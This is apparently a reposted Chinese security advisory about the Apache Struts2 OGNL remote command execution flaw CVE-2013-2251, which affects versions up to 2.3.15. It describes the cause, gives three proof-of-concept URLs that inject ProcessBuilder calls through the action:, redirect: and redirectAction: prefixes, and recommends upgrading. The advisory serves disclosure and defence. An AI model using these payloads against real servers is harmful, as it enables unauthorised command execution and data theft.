Apache Struts2打开重定向/命令执行 CVE-2013-2251「建议收藏」

Apache Struts2打开重定向/命令执行 CVE-2013-2251「建议收藏」昨日,著名JavaWeb框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts2.0.0-Struts2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外

大家好,又见面了,我是你们的朋友全栈君。

昨日,著名Java Web框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts 2.0.0 – Struts 2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外我们注意到针对该漏洞的攻击代码已出现。

关于Struts

      Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前Struts是应用最广泛的Web应用框架之一。

描述:


BUGTRAQ  ID:
61189

CVE ID:
CVE-2013-2251

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。

redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc)

  

  链接:
http://struts.apache.org/release/2.3.x/docs/s2-016.html

*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}


http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}


http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

解决方案

升级到到Struts 2.3.15.1,下地地址:http://struts.apache.org/download.cgi#struts23151。

针对Struts屡发高危漏洞,SCANV推荐使用来自阿里云的著名网络安全专家 空虚浪子心 推出的解决方案。详见:http://www.inbreak.net/archives/507

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158486.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • ES6读书笔记(三)

    ES6读书笔记(三)

    2021年6月30日
  • Windows中Pycharm中配置Qt[通俗易懂]

    Windows中Pycharm中配置Qt[通俗易懂]Qt是什么Qt是Python开发窗体的工具之一,它与python有着良好的兼容性,且可通过可视化拖曳的方式进行窗体的创建,提高开发效率。Qt工具支持Windows,Linux,MacOSX三种操作系统。可用pipinstallpyqt5进行在线安装配置Pycharm由于QtDesigner在设计窗体时,后缀名为ui,需要转为py文件后才可以被…

    2022年8月29日
  • 风云私服架设教程_风云端游

    风云私服架设教程_风云端游需要软件:SQLsever2005pro本站提供下载将服务器端解压缩到D:盘D:\Sagasevr下有6个文件夹1:databaseSQL数据库文件夹2:LoginServer帐号登陆管理器3:WorldServer服务器数据管理器4:GameServer1游戏数据管理器4:GameServer2游戏数据管理器5:GameServer3游戏数据管理器6:GameS…

    2022年10月6日
  • SpringBoot – 加载配置文件的实现方式[通俗易懂]

    SpringBoot – 加载配置文件的实现方式[通俗易懂]1、简介在实际的项目开发过程中,我们经常需要将某些变量从代码里面抽离出来,放在配置文件里面,以便更加统一、灵活的管理服务配置信息。比如,数据库、eureka、zookeeper、redis、mq、kafka等服务组件的连接参数配置,还有我们自定义的项目参数配置变量。当然,实际上根据当前的业务需求,我们往往会自定义参数,然后注入到代码里面去,以便灵活使用!今天,我们就一起来聊一聊SpringBoot加载配置文件的几种玩法,如果有遗漏,欢迎留言!SpringBoot项目在启用时:首先会默

    2022年9月2日
  • KaTeX 数学符号列表[通俗易懂]

    KaTeX 数学符号列表[通俗易懂]数学符号希腊字母LaTexKaTex===isequalto=≠\ne̸​=isnotequalto\ne≈\approx≈isapproximatelyequalto\approx+++plus+−-−minus-±;∓\pm;\mp±;∓plus-minus;minus-plus\pm;\mp…

    2022年10月28日
  • “帮助企业做好MaxCompute成本优化的实践” 主题分享 6月21日 18:30不见不散

    “帮助企业做好MaxCompute成本优化的实践” 主题分享 6月21日 18:30不见不散

    2021年6月5日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号